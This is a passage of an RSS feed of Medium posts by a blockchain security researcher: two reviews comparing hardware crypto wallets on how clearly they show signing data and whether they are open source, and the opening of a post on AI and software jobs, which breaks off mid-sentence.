alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Will one of these hardware wallets save Ethereum?]]></title>
            <link>https://patrickalphac.medium.com/will-one-of-these-hardware-wallets-save-ethereum-cf73a4390386?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf73a4390386</guid>
            <category><![CDATA[hardware-wallet]]></category>
            <category><![CDATA[wallet-review]]></category>
            <category><![CDATA[cryptocurrency-wallets]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 13:11:28 GMT</pubDate>
            <atom:updated>2025-06-12T13:14:18.391Z</atom:updated>
            <content:encoded><![CDATA[<h3>Will one of these hardware wallets save Ethereum? NGRAVE Zero, BitBox02, SafePal, and useBurner wallet review</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1VwEj-rztCvEofC-xWeg5w.png" /></figure><p>After my last <a href="https://patrickalphac.medium.com/top-9-cryptocurrency-hardware-wallets-for-2025-security-researcher-review-9fcb16d771e0">hardware wallet review</a>, my DMs were flooded with recommendations. “You HAVE to try this one!” they said. “This wallet will change your mind!” they promised. So here I am, having tested four more hardware wallets that came highly recommended from the crypto community, still searching for one that actually protects users from getting rekt.</p><p>Let’s see if any of them will save Ethereum.</p><p>You can also watch this video on my YouTube.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-m1jcBFS0dc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-m1jcBFS0dc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-m1jcBFS0dc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b186ae3ce91a9f8b5e90838a10bc4227/href">https://medium.com/media/b186ae3ce91a9f8b5e90838a10bc4227/href</a></iframe><h3>Criteria</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Raijf4qH-ENLg5BQ.png" /></figure><p>Our high-level wallet criteria</p><p>Before diving into the reviews, let’s establish what we are looking for in a hardware wallet. The primary purpose is simple: <strong>keep your private key safe</strong>. If it can’t do that, it fails at its core function. We won’t be considering any hardware wallets that do not fulfill this fundamental requirement.</p><p>Beyond this, I evaluated these wallets on several key criteria:</p><ol><li><strong>Visibility of transaction calldata</strong>: How clearly can you see what you’re signing on <strong>both </strong>transactions and message signing?</li><li><strong>Open source status</strong>: Is the wallet’s code open source and reproducible? We use <a href="https://walletscrutiny.com/">Wallet Scrutiny</a> to help verify if a wallet is truly open-sourced (the Wallet Scrutiny team is not a big EVM fan, but they still help us with their reviews!)</li><li><strong>Security features</strong>: Secure elements, offline key generation, and backup methods.</li></ol><p>For us, being able to easily verify our signature data was top of mind, as the easier it is to verify this data, the better we can prevent hacks like Radiant Captial and Bybit. I made a video that goes over <a href="https://www.youtube.com/watch?v=X-HVI9dFv94">all the information a wallet should show us</a>, and why. The summary of that video can be found in the image here.</p><p>There are some things a wallet <strong>must </strong>show us; otherwise, it is disqualified from being used for any serious reasons. Then, there are some pieces of criteria that it would be nice if a wallet had that feature, but not a deal-breaker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kwC847TpuPFIUciD.png" /></figure><p>What must a wallet show us when signing a message or a transaction?</p><h3>Methodology</h3><p>For each wallet, I connected it to the <a href="https://safe.global/">Safe Wallet UI</a> through MetaMask (when possible) to standardize testing across devices. I attempted to both:</p><ol><li>Sign an <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md">EIP-712 message</a></li><li>Execute a transaction</li></ol><p>To evaluate how well each device displayed critical data. In doing so, I played with settings, checked how they handled sending and receiving ETH, and more.</p><p>I’m going to be quite blunt with my reviews, so I don’t expect these to make me very popular. I hope the wallet companies read this article and either tell me where I went wrong, or make changes!</p><p>Let’s dive into the reviews.</p><h3>SafePal: S1 Pro</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29WiumDFmEX58ZaTb_NSLg.png" /><figcaption>2/10 stars</figcaption></figure><p>The <a href="https://www.safepal.com/">SafePal</a> wallet comes with its own browser extension and mobile app, which initially seemed promising. It has an EAL6+ secure element, supports air-gapping, and even has a camera for QR codes.</p><p>They also have their own token (SFP)… Which was… A thing.</p><p>But in any case, the wallet seemed very promising until I started trying to send transactions. To do anything with this hardware wallet, you need three wallets:</p><ol><li>The browser extension</li><li>The mobile app</li><li>The actual hardware wallet</li></ol><p>Want to sign an EIP-712 message? Your browser extension sends it to your mobile app, which generates a QR code, which you scan with your hardware wallet, which then… truncates all the important data anyways.</p><p>This was quite cumbersome to work with, I felt like I had to verify three transactions for every one transaction (check extension, check phone, check hardware wallet).</p><p>For developers and security professionals, this wallet is unacceptable due to its inability to show transaction calldata. For normal DeFi users, I think the UX isn’t worth it.</p><h3>Pros:</h3><ul><li>Has its own browser extension and mobile wallet app (cohesive ecosystem)</li><li>Camera on the back for QR code scanning</li><li>Can be air-gapped</li><li>EAL6+ security rating</li><li>Relatively inexpensive</li></ul><h3>Cons:</h3><ul><li>Not open source (failed Wallet Scrutiny tests)</li><li>Requires three devices to function</li><li>Truncates signature data on the hardware device</li></ul><h3>BitBox02</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8inoOjEnnkKWFK5lF7-Pg.png" /><figcaption>6/10 stars</figcaption></figure><p>The BitBox team reached out to me on Twitter asking for a review. Usually, when companies do this, I’m severely disappointed. Not this time.</p><p>The BitBox02 takes a unique approach to the <a href="https://bitbox.swiss/bitbox02/security-features/">open-source dilemma</a>. Their firmware is completely open source (verified by <a href="https://walletscrutiny.com/hardware/bitBox2/">Wallet Scrutiny</a>) while using a closed-source secure chip that you don’t have to trust.</p><p>The device itself is tiny — about the size of a USB stick with touch sensors on the sides. I was initially worried about the small screen real estate, but they actually display all signature data!</p><p>Sure, the navigation is a bit funky (tapping the sides to scroll), and typing your password on this thing daily is a pain, but it shows all the data. That’s all I want. That’s all I’ve been asking for.</p><p>Would I recommend this to Bybit Ben? Probably not — the raw data format might be too technical. Would I recommend this to security researchers? Hell yes. It’s open source, shows everything, and doesn’t try to hide critical information.</p><h3>Pros:</h3><ul><li>Fully open-source firmware</li><li>Shows complete signature data</li><li>Includes micro SD card for backup/disaster recovery</li><li>Small, portable form factor</li></ul><h3>Cons:</h3><ul><li>Very small screen (limited real estate)</li><li>Typing password daily is cumbersome</li><li>Doesn’t work with MetaMask (only Rabby currently)</li><li>Requires BitBox Bridge software to connect to Rabby</li></ul><h3>Burner</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjLdGPcQy4JMrcQLQwfIxw.png" /><figcaption>Unrated</figcaption></figure><p>After giving <a href="https://tangem.com/en/">Tangem</a> a hard time for being a card wallet, I realized I was judging a fish by its ability to climb a tree. Card wallets like <a href="https://www.burner.pro/">Burner</a> should be judged differently — they’re meant for small amounts, like a $20 bill in your pocket for coffee.</p><p>The Burner card uses RFID for tap-to-pay functionality, which is conceptually cool. But the implementation is clunky:</p><ul><li>You need to run a “Halo gateway” on your phone (basically a server)</li><li>Connect it to Burner OS on your desktop</li><li>Then tap your card to your phone to send transactions</li></ul><p>Even on the UI, you can’t check calldata, but I guess I shouldn’t care, because with “tap-to-pay” you can’t check calldata anyway.</p><p>These wallets might be great in the future when you can actually tap to pay for coffee with crypto, but I wouldn’t want to store large amounts of crypto on them.</p><h3>Pros:</h3><ul><li>Tap-to-pay functionality with RFID</li><li>Very portable (credit card size)</li><li>Cheap ($20)</li><li>Good for small amounts/casual use</li></ul><h3>Cons:</h3><ul><li>No hardware screen</li><li>Can’t verify calldata at all</li><li>It’s not a hardware wallet, really, it’s more of a.. card</li></ul><h3>NGRAVE Zero</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9nCDicWARw73qbVR8Co6fw.png" /><figcaption>2/10 stars</figcaption></figure><p>This wallet hurts to review because it’s SO GOOD in every way except the one that matters most.</p><p>The NGRAVE Zero feels premium. It has:</p><ul><li>Biometric fingerprint authentication</li><li>A built-in camera for QR codes</li><li>EAL7 certification (the highest security rating)</li><li>A beautiful touchscreen interface</li><li>Custom operating system</li></ul><p>I loved working with this wallet, until I went to sign messages.</p><p>Whether you’re signing an EIP-712 message, a regular message, or sending a transaction, the wallet always just says “signing a transaction.” For EIP-712 messages, it doesn’t show the struct, but a very bizarre format of strings. For calldata, the same.</p><h3>Pros:</h3><ul><li>Premium build quality (feels good in hand)</li><li>Biometric fingerprint authentication</li><li>Built-in camera for QR codes</li><li>EAL7 certification (highest security rating)</li><li>Beautiful touchscreen interface</li><li>Compatible with MetaMask via QR codes</li></ul><h3>Cons:</h3><ul><li>Shows data in unrecognizable format (not hex, not the actual struct)</li><li>Expensive for what it delivers</li></ul><h3>Summary and Conclusion</h3><p>BitBox02 joins Trezor, Ledger, and GridPlus as a wallet I would consider acceptable for security researchers, but none of them will save Ethereum.</p><p>Remember that the primary goal of a hardware wallet is to keep your private keys safe while allowing you to verify what you’re signing. If you can’t understand what you’re signing, you shouldn’t proceed with the transaction, regardless of which wallet you use.</p><p>For developers and security researchers in the EVM ecosystem, I recommend selecting a wallet that aligns with your specific priorities — whether that’s open-source verification, ease of transaction decoding, or signature verification capabilities.</p><h3>The Search Continues</h3><p>The BitBox02 gives me hope that wallet manufacturers are starting to get it. But we’re still far from where we need to be. We need wallets that are:</p><ul><li>Transparent about what you’re signing</li><li>Open source where possible</li><li>Secure against physical attacks</li><li>Usable by both grandma and gigabrains</li></ul><p>Until then, stay safe out there, and remember: if you can’t verify what you’re signing on your hardware device, you’re one malicious website away from getting rekt.</p><p>To learn to sign these complex transactions, you can use games like <a href="https://wise-signer.cyfrin.io/">wise-signer.</a></p><p><em>For more amazing blockchain content, follow me on </em><a href="https://www.youtube.com/c/PatrickCollins"><em>YouTube</em></a><em> and </em><a href="https://x.com/PatrickAlphaC"><em>X</em></a><em>.</em></p><p><em>And be sure to follow the </em><a href="https://cyfrin.io/"><em>Cyfrin team</em></a><em>!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf73a4390386" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Top 9 Cryptocurrency Hardware Wallets for 2025 | Security Researcher Review]]></title>
            <link>https://patrickalphac.medium.com/top-9-cryptocurrency-hardware-wallets-for-2025-security-researcher-review-9fcb16d771e0?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/9fcb16d771e0</guid>
            <category><![CDATA[cold-storage]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[hardware-wallet]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Mon, 24 Mar 2025 07:39:12 GMT</pubDate>
            <atom:updated>2025-10-06T19:30:48.128Z</atom:updated>
            <content:encoded><![CDATA[<h4>We review 9 different blockchain hardware wallets (cold wallets) to find out which wallet should security researchers use, and which wallets should non-technical users use.</h4><figure><img alt="Top blockchain hardware wallets of 2025" src="https://cdn-images-1.medium.com/max/1024/1*imSiedVyh6hLqD5gzszikw.png" /><figcaption>I literally couldn’t hold all the wallets I reviewed</figcaption></figure><p><em>A big thanks to </em><a href="https://walletscrutiny.com/"><em>Wallet Scrutiny</em></a><em>, </em><a href="https://x.com/pcaversaccio"><em>pcaversaccio</em></a><em>, </em><a href="https://x.com/officer_cia"><em>Officer’s Notes</em></a><em>, and </em><a href="https://x.com/0xMidnight"><em>Justin Leroux</em></a><em> for help on this topic.</em></p><p>You can skip to the end of this article to find my full spreadsheet I used to judge wallets, as well as the final recommendations. You can also watch the video on this topic and see me interact with the wallets in my video here where we go even deeper into the analysis of each wallet.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9YmPWxAvKYY&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9YmPWxAvKYY" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/169c8b0efa10e72099a996e187b4a6c1/href">https://medium.com/media/169c8b0efa10e72099a996e187b4a6c1/href</a></iframe><h3>Introduction</h3><p>As a security researcher in the EVM ecosystem, I tested nine different hardware wallets to answer the question: which hardware wallets were the best for making signing verification easy, and keeping my private key safe?</p><p>As someone who is on blockchain security councils, multisigs, and DAOs, I am very particular about verifying every piece of data that I sign on my wallet. Additionally, we are currently in an epidemic where many people sign transactions that they haven’t confirmed are doing what they would want them to do!</p><p>For example, the <a href="https://rekt.news/radiant-capital-rekt2/">Radiant Capital</a> team was hacked for $50M, while the <a href="https://www.cyfrin.io/blog/safe-wallet-hack-bybit-exploit">Bybit exchange was hacked for $1.4B</a> and in both cases, they could have been saved if they verified the data they were signing on their wallets.</p><p>So I want to know which wallet is the best for:</p><ul><li>Security researchers: Who can verify calldata and prefer maximal transparency</li><li>Less technical users: Like <a href="https://x.com/benbybit">Bybit CEO Ben Zhou</a>, who has to sign transactions on wallets with a lot of money but may have less technical expertise.</li></ul><p>Let’s begin.</p><h3>Criteria</h3><figure><img alt="Top 9 cryptocurrency hardware wallets of 2025" src="https://cdn-images-1.medium.com/max/1024/1*Xs0VnzFSeru0VM1TnaW3aw.png" /><figcaption>Our high level wallet criteria</figcaption></figure><p>Before diving into the reviews, let’s establish what we are looking for in a hardware wallet. The primary purpose is simple: <strong>keep your private key safe</strong>. If it can’t do that, it fails at its core function. We won’t be considering any hardware wallets that do not fulfill this fundamental requirement.</p><p>Beyond this, I evaluated these wallets on several key criteria:</p><ol><li><strong>Visibility of transaction calldata</strong>: How clearly can you see what you’re signing on <strong>both </strong>transactions and message signing?</li><li><strong>Open source status</strong>: Is the wallet’s code open source and reproducible? We use <a href="https://walletscrutiny.com/">Wallet Scrutiny</a> to help verify if a wallet is truly open-sourced (the Wallet Scrutiny team is not a big EVM fan, but they still help us with their reviews!)</li><li><strong>Security features</strong>: Secure elements, offline key generation, and backup methods.</li></ol><p>For us, being able to easily verify our signature data was top of mind, as the easier it is to verify this data, the better we can prevent hacks like Radiant Captial and Bybit. I made a video that goes over <a href="https://www.youtube.com/watch?v=X-HVI9dFv94">all the information a wallet should show us</a>, and why. The summary of that video can be found in the image here.</p><p>There are some things a wallet <strong>must </strong>show us; otherwise, it is disqualified from being used for any serious reasons. Then, there are some pieces of criteria that it would be nice if a wallet had that feature, but not a deal-breaker.</p><figure><img alt="Top cryptocurrency hardware wallets" src="https://cdn-images-1.medium.com/max/1024/1*-OTXuGxxyI7SWMWsTqShqA.png" /><figcaption>What must a wallet show us when signing a message or a transaction?</figcaption></figure><h3>Methodology</h3><p>For each wallet, I connected it to the <a href="https://safe.global/">Safe Wallet UI</a> through MetaMask (when possible) to standardize testing across devices. I attempted to both:</p><ol><li>Sign an <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md">EIP-712 message</a></li><li>Execute a transaction</li></ol><p>To evaluate how well each device displayed critical data. In doing so, I played with settings, checked how they handled sending and receiving ETH, and more.</p><p>I’m going to be quite blunt with my reviews, so I don’t expect these to make me very popular. I hope the wallet companies read this article and either tell me where I went wrong, or make changes!</p><p>Let’s dive into the reviews.</p><h3>Tangem</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sPD8IExy7BOUg4zvSwV92A.png" /><figcaption>1/10 Stars for Tangem</figcaption></figure><p>The <a href="https://tangem.com/en/">Tangem Card Wallet</a> is unique as a credit card-sized hardware device. It contains a secure element for private key generation and offers convenient tap-to-phone functionality.</p><p><strong>Pros:</strong></p><ul><li>Very portable form factor</li><li>Simple to use for tap-based payments</li><li>Good for small amounts and casual use</li></ul><p><strong>Cons:</strong></p><ul><li>Closed source</li><li>Requires dedicated mobile app</li><li>No testnet support</li><li>Completely fails to show calldata for transactions</li><li>Limited display of signature data</li></ul><p>For developers and security professionals, this wallet is unacceptable due to its inability to show transaction call data. You’re essentially signing transactions blindly. It might work for storing small amounts, but it’s not suitable for serious DeFi work.</p><h3>Cypherock</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u37NQaXdeiKuI-NeQhuuBA.png" /><figcaption>3/10 stars for Cypherock</figcaption></figure><p>The <a href="https://cypherock.com/go">Cypherock</a> wallet earns points for being open-source and reproducible, which is excellent. It has a secure element (EAL6+ rated) and uses a unique card-tapping system for transaction authorization.</p><p><strong>Pros:</strong></p><ul><li>Open-source and reproducible</li><li>Secure element (EAL6+ rated)</li></ul><p><strong>Cons:</strong></p><ul><li>Poor joystick navigation interface</li><li>Shows no calldata for transactions</li><li>Challenging user experience leads to security fatigue</li></ul><p><strong>Would I recommend it to security researchers?</strong> No.</p><p>Although the Cypherock shows some signature data, it completely fails to display calldata for transactions, which is a deal-breaker for professional use. The joystick interface can cause security fatigue, making users more likely to approve transactions without proper verification.</p><h3>Keystone 3 Pro</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tr4VfJiGNvreHtfgpetDNg.png" /><figcaption>4/10 stars for the Keystone pro</figcaption></figure><p>The <a href="https://keyst.one/shop/products/keystone-3-pro">Keystone 3 Pro</a> features a touchscreen interface that makes it much easier to navigate. It’s reproducible open source according to the Wallet Scrutiny team and connects to MetaMask via an innovative QR code system.</p><p><strong>Pros:</strong></p><ul><li>Verified open source</li><li>Touchscreen interface</li><li>Shows EIP-712 signature data</li><li>QR code connectivity solution</li></ul><p><strong>Cons:</strong></p><ul><li>Inconsistent calldata decoding</li><li>Missing or truncated decoded calldata</li><li>No option to view raw calldata</li></ul><p><strong>Would I recommend it to security researchers?</strong> No, it’s too buggy.</p><p>The Keystone Pro started strong but fell short. While it displays EIP-712 signature data adequately, its call data decoding is unreliable and inconsistent. The wallet attempts to decode call data but often displays it incorrectly or incompletely, which can be worse than not decoding it at all. There’s no option to view the raw call data as a fallback.</p><h3>Trezor Model T</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCvpuaOXNbU57o3ODIV5kQ.png" /><figcaption>5/10 stars for the Trezor Model T</figcaption></figure><p>The <a href="https://trezor.io/trezor-model-t">Trezor Model T</a> represents a solid baseline wallet. It’s open source and verified by Wallet Scrutiny, but lacks a secure element (which the newer Safe 5 model includes).</p><p><strong>Pros:</strong></p><ul><li>Open source and verified</li><li>Shows full calldata</li><li>Testnet support</li><li>Good default wallet</li></ul><p><strong>Cons:</strong></p><ul><li>No secure element</li><li>Small touchscreen</li><li>One-at-a-time data display (security fatigue)</li><li>Raw calldata in difficult-to-verify format</li></ul><p><strong>Would I recommend it to security researchers?</strong> No, just use the Trezor Safe 5 instead.</p><p>The Trezor Model T does show all necessary data, but the format is difficult to work with. The calldata is presented in a way that makes verification challenging. Additionally, the lack of a secure element is concerning for high-value storage. With the Trezor Safe 5 now available, there’s little reason to choose the Model T.</p><h3>Trezor Safe 5</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pUahxEbp-FnoE9MTEZ52cQ.png" /><figcaption>7/10 stars for the Trezor Safe 5</figcaption></figure><p>The <a href="https://trezor.io/trezor-safe-5">Trezor Safe 5</a> improves on the Model T with a secure element and larger touchscreen with haptic feedback.</p><p><strong>Pros:</strong></p><ul><li>Open source and verified</li><li>Secure element (EAL6+ rated)</li><li>Larger touchscreen with haptic feedback</li><li>Shows all calldata</li></ul><p><strong>Cons:</strong></p><ul><li>Unintuitive navigation for viewing call data</li><li>Difficult to extract calldata for verification</li><li>No decoding of calldata</li></ul><p><strong>Would I recommend it to security researchers?</strong> Yes, for technical users.</p><p>The Trezor Safe 5 is a good choice for technical users who can verify raw calldata. The UI has some unintuitive elements, especially when reviewing transaction data, but it does show all necessary information for proper verification. Its open-source nature is a significant advantage for security-conscious users.</p><h3>Ledger Nano X</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQVeBRxrpZFHrM5-WfGXvg.png" /><figcaption>6/10 stars for the Ledger Nano X</figcaption></figure><p>The <a href="https://shop.ledger.com/products/ledger-nano-x">Ledger Nano X</a> has been a popular wallet for years but has some significant limitations.</p><p><strong>Pros:</strong></p><ul><li>Shows domain hash and message hash for signatures (HUGE PRO)</li><li>Solid track record of secure hardware</li><li>Good firmware verification</li></ul><p><strong>Cons:</strong></p><ul><li>Closed source</li><li>Poor two-button interface</li><li>Confusing “blind signing” terminology</li><li>Bizarre format for displaying calldata</li><li>Device closes too frequently</li></ul><p><strong>Would I recommend it to security researchers?</strong> Probably not.</p><p>While the Ledger Nano X does well with displaying signature hashes (one of the few wallets to do so through MetaMask), its presentation of calldata is nearly unusable. The “debug contracts” setting is confusingly named, and the call data is displayed in a proprietary format that’s difficult to verify. Given that the Ledger Flex exists, there’s little reason to choose the Nano X.</p><h3>Ledger Flex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o45eDwYZl7sgq5zkhoSHQA.png" /><figcaption>7/10 stars for the Ledger Flex</figcaption></figure><p>The <a href="https://shop.ledger.com/products/ledger-flex">Ledger Flex</a> significantly improves on the Nano X with a secure screen and better usability.</p><p><strong>Pros:</strong></p><ul><li>Shows domain hash and message hash for signatures</li><li>Secure screen</li><li>Excellent button feel and usability</li><li>Stays active longer than Nano X</li></ul><p><strong>Cons:</strong></p><ul><li>Closed source</li><li>Same confusing calldata display as Nano X</li><li>“Debug contracts” setting for viewing calldata</li></ul><p><strong>Would I recommend it to security researchers?</strong> Yes, with the caveat of being closed-source.</p><p>The Ledger Flex excels at showing domain and message hashes for signatures, making verification much easier than most other wallets. However, it uses the same poor format for displaying call data as the Nano X. If you’re comfortable with a closed-source solution, the Flex is a solid choice, especially for signature verification.</p><h3>Onekey Pro</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Vuj0I6H-ZCBpuS1NStukg.png" /><figcaption>7/10 for the Onekey Pro</figcaption></figure><blockquote>EDIT Oct. 6th, 2025: When this article was originally written, the OneKey Pro did not pass the Wallet Scrutiny open-sourced tests. <a href="https://walletscrutiny.com/hardware/onekey.pro/">It has since passed!</a></blockquote><p>The <a href="https://onekey.so/products/onekey-pro-hardware-wallet/">Onekey Pro</a> claims to be open source but failed Wallet Scrutiny’s reproducibility tests.</p><p><strong>Pros:</strong></p><ul><li>Excellent haptic feedback</li><li>Air gap mode</li><li>EAL6+ secure element</li><li>Shows all signature and calldata</li></ul><p><strong>Cons:</strong></p><ul><li>Not truly reproducible open-source</li><li>No display of domain/message hash</li><li>Calldata not decoded</li></ul><p><strong>Would I recommend it to security researchers?</strong> Yes, if closed source isn’t a concern.</p><p>The Onekey Pro has excellent hardware and usability but falls short of being truly open-source. It shows all necessary data for signatures and transactions but doesn’t decode call data or display hashes for easier verification. With a few improvements and true open-source status, this could be an outstanding wallet.</p><h3>Grid Lattice Plus</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ng-phHh_7HSV7YgvYtY7dA.png" /><figcaption>8/10 for the Grid Lattice Plus</figcaption></figure><p>The <a href="https://gridplus.io/">Grid Lattice Plus</a> is the highest-rated wallet in this review despite being closed-source.</p><p><strong>Pros:</strong></p><ul><li>Extensive screen real estate</li><li>Fantastic calldata decoding, including nested transactions</li><li>Smooth user interface</li><li>EAL6+ secure element</li></ul><p><strong>Cons:</strong></p><ul><li>Closed source (proprietary chip)</li><li>Bulky form factor</li><li>No option to view raw calldata</li></ul><p><strong>Would I recommend it to security researchers?</strong> Yes, if you’re comfortable with closed source.</p><p>The Grid Lattice Plus offers the best call data decoding of any wallet tested, even handling nested transactions. This feature is invaluable for non-technical users. However, it lacks an option to view raw calldata, which some technical users might prefer. The closed-source nature remains a concern for maximum security.</p><h3>Summary and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xnTn2Vok4B9C1J_c2yZ2w.png" /><figcaption>My Final Top Hardware Wallet Picks</figcaption></figure><p>After reviewing nine hardware wallets, it’s clear there’s no perfect solution — each involves trade-offs.</p><p>If open source is a priority, the <strong>Trezor Safe 5</strong> offers the best balance of security and usability, though verifying call data remains challenging.</p><p>For those comfortable with closed-source solutions:</p><ul><li>The <strong>Grid Lattice Plus</strong> provides unmatched transaction decoding</li><li>The <strong>Ledger Flex</strong> excels at signature verification</li><li>The <strong>Onekey Pro</strong> offers excellent overall usability</li></ul><p>Remember that the primary goal of a hardware wallet is to keep your private keys safe while allowing you to verify what you’re signing. If you can’t understand what you’re signing, you shouldn’t proceed with the transaction, regardless of which wallet you use.</p><p>For developers and security researchers in the EVM ecosystem, I recommend selecting a wallet that aligns with your specific priorities — whether that’s open-source verification, ease of transaction decoding, or signature verification capabilities.</p><h3>More Data</h3><p>Here is a screenshot of my spreadsheet I used to help track each wallet, as well as what exact version I used for each. I have several more wallets I’ve ordered that I plan to test very soon! But you should be able to follow my methodology I laid out here to decide for yourself too!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0GPx4a1gn1EXw3pgsrPfQ.png" /></figure><p><em>For more amazing blockchain content, follow me on </em><a href="https://www.youtube.com/c/PatrickCollins"><em>YouTube</em></a><em> and </em><a href="https://x.com/PatrickAlphaC"><em>X</em></a><em>.</em></p><p><em>And be sure to follow the </em><a href="https://cyfrin.io/"><em>Cyfrin team</em></a><em>!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fcb16d771e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is AI going to take software jobs?]]></title>
            <link>https://medium.com/cyfrin/is-ai-going-to-take-software-jobs-7292fb20cbda?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/7292fb20cbda</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[future]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[careers]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Mon, 03 Mar 2025 16:52:04 GMT</pubDate>
            <atom:updated>2025-03-03T16:52:04.643Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ngbn43NB9ZR5S167IUKew.png" /></figure><p>Yes, AI is going to take some software engineering jobs, but it’s more nuanced than that. According to recent data:</p><ul><li>software engineering job demand is down</li><li><a href="https://www.wearedevelopers.com/en/magazine/417/are-software-engineer-wages-being-pushed-down">salaries are down</a></li><li><a href="https://www.adpresearch.com/the-rise-and-fall-of-the-software-developer/">growth is down</a></li></ul><p>If you’re a computer science student or a software professional wondering about your career prospects in the age of AI, let’s dive into what’s really happening.</p><p>You can watch my whole video on this here.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dze5c6Yj0hrQ&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fze5c6Yj0hrQ" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4e71f5d06263358e4690a2dbf39097b7/href">https://medium.com/media/4e71f5d06263358e4690a2dbf39097b7/href</a></iframe><p>Looking at <a href="https://github.com/deepseek-ai/DeepSeek-R1/blob/main/DeepSeek_R1.pdf">DeepSeek</a>’s recent paper, their AI model outperforms the vast majority of basic and medium software engineers in competitive programming, as well as many other intelligence benchmarks.</p><p>AI excels at tasks it’s seen before. AI systems are trained on enormous datasets of what people have done, common problems they’ve solved, and typical mistakes they’ve made.</p><p><strong>Because of this, I think the most vulnerable roles are junior developers.</strong> Instead of paying a junior developer to handle simple tasks, companies will increasingly use AI tools to do this work.</p><h3>The Limitations of AI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8-mUJb1xNvBP3X5ZArgKA.png" /><figcaption>dey terk ker jerbs!</figcaption></figure><p>However, as an engineer myself, I’ll point out that many of these simple challenges (like LeetCode and code golf challenges that these benchmarks are trained on) aren’t representative of real-world coding. Real production code prioritizes readability and considers system architecture and design — aspects that many algorithmic challenges don’t address.</p><p>This is where something crucial comes into play: AI models are only as good as the data they’re trained on.</p><p>A study published in <a href="https://www.sciencedirect.com/science/article/abs/pii/S0893395224000024">Modern Pathology</a> demonstrated this limitation. When researchers used AI models to detect abnormalities in blood, estimate tissue age, and classify damaged tissue, they found that performance dropped substantially when the AI encountered contamination or data it hadn’t seen before:</p><ul><li>Accuracy dropped from 74% to 69% in some cases</li><li>Age estimation errors increased by 46%</li><li>Prostate cancer detection resulted in a 97% false positive rate</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60cxD9uRL-xo1iROKhE27g.png" /><figcaption>Excerpt from <a href="https://www.sciencedirect.com/science/article/abs/pii/S0893395224000024">Modern Pathology</a></figcaption></figure><p>This is problematic because in real-world settings, about 3% of slides have some form of contamination. Human pathologists, by comparison, have an extremely low error rate when dealing with these edge cases.</p><p>Now the fix here for AI is simple, just train the AIs on these edge cases, but it still shows the issue with AI. When an AI hasn’t seen something, it’s error rate skyrockets.</p><h3>The Human-AI Partnership</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/0*kvVJMi8GmH3OHM1t" /><figcaption>The future of coding: We are all cyborgs</figcaption></figure><p>From my personal experience coding with AI assistants, I often receive suggestions that I can immediately recognize as suboptimal. I can identify the issues and improve upon the AI’s work using my expertise.</p><p>This pattern is likely to continue. While junior software engineers may be replaced, mid-level and senior engineers will adapt by using AI as a tool to supercharge their productivity — getting initial output from AI systems and then applying their expertise to improve it.</p><p>I expect this 